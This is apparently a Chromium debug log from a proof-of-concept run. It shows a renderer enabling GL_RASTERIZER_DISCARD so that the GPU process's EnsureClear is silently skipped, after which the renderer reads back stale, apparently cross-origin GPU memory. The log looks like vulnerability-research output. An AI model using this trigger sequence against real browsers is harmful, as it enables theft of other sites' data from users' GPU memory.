[1684:1714:0515/005337.549335:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:632] [POC-GPU] EnsureClear entered: GL_RASTERIZER_DISCARD=disabled [1684:1714:0515/005337.551351:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:671] [POC-GPU] post-glClear pixel=[00 00 00 00] cleared=yes RASTERIZER_DISCARD=disabled [1791:1791:0515/005337.552137:ERROR:third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc:1030] [POC-RENDERER] Starting attack from renderer process [1791:1791:0515/005337.552317:ERROR:third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc:1052] [POC-RENDERER] Enabled GL_RASTERIZER_DISCARD on passthrough command buffer [1791:1791:0515/005337.552357:ERROR:third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc:1060] [POC-RENDERER] Issued CreateAndTexStorage2DSharedImageCHROMIUM tex=2 [1684:1684:0515/005337.552548:INFO:CONSOLE:16] "[poc] requesting WebGL2 context (ES3 passthrough decoder)...", source: http://127.0.0.1:8080/poc.html (16) [1684:1714:0515/005337.552835:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:632] [POC-GPU] EnsureClear entered: GL_RASTERIZER_DISCARD=ENABLED (renderer-controlled) [1684:1714:0515/005337.553018:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:671] [POC-GPU] post-glClear pixel=[ab cd ef ff] cleared=NO RASTERIZER_DISCARD=ENABLED [1684:1714:0515/005337.553040:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:676] [POC-GPU] *** VULNERABILITY CONFIRMED *** EnsureClear glClear was silently discarded by ANGLE (Context::clear early-return under RASTERIZER_DISCARD) yet SetCleared() is about to mark this SharedImage as initialized. On hardware GL the texture still holds stale cross-origin VRAM. [1791:1791:0515/005337.553892:ERROR:third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc:1092] [POC-RENDERER] FBO status=0x8cd5 nonzero_bytes=16384/16384 first16=[ab cd ef ff ab cd ef ff ab cd ef ff ab cd ef ff] [1791:1791:0515/005337.553939:ERROR:third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.cc:1096] [POC-RENDERER] *** LEAK *** SharedImage marked cleared but renderer read back 16384 non-zero bytes of stale GPU memory [1684:1684:0515/005337.564338:INFO:CONSOLE:16] "[poc] WebGL2 context created — renderer-side attack issued to GPU process", source: http://127.0.0.1:8080/poc.html (16) [1684:1684:0515/005337.564442:INFO:CONSOLE:16] "[poc] check chrome stderr for [POC-RENDERER] / [POC-GPU] lines", source: http://127.0.0.1:8080/poc.html (16) [1684:1684:0515/005337.589532:INFO:CONSOLE:27] "[.WebGL-0x6e7c579ea180]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels", source: http://127.0.0.1:8080/poc.html (27) [1684:1684:0515/005337.589636:INFO:CONSOLE:27] "[.WebGL-0x6e7c579ea180]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels", source: http://127.0.0.1:8080/poc.html (27) [1684:1684:0515/005337.590483:INFO:CONSOLE:27] "[.WebGL-0x6e7c579ea180]GL Driver Message (OpenGL, Performance, GL_CLOSE_PATH_NV, High): GPU stall due to ReadPixels", source: http://127.0.0.1:8080/poc.html (27) [1684:1714:0515/005338.253724:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:632] [POC-GPU] EnsureClear entered: GL_RASTERIZER_DISCARD=disabled [1684:1714:0515/005338.337037:ERROR:gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc:671] [POC-GPU] post-glClear pixel=[00 00 00 00] cleared=yes RASTERIZER_DISCARD=disabled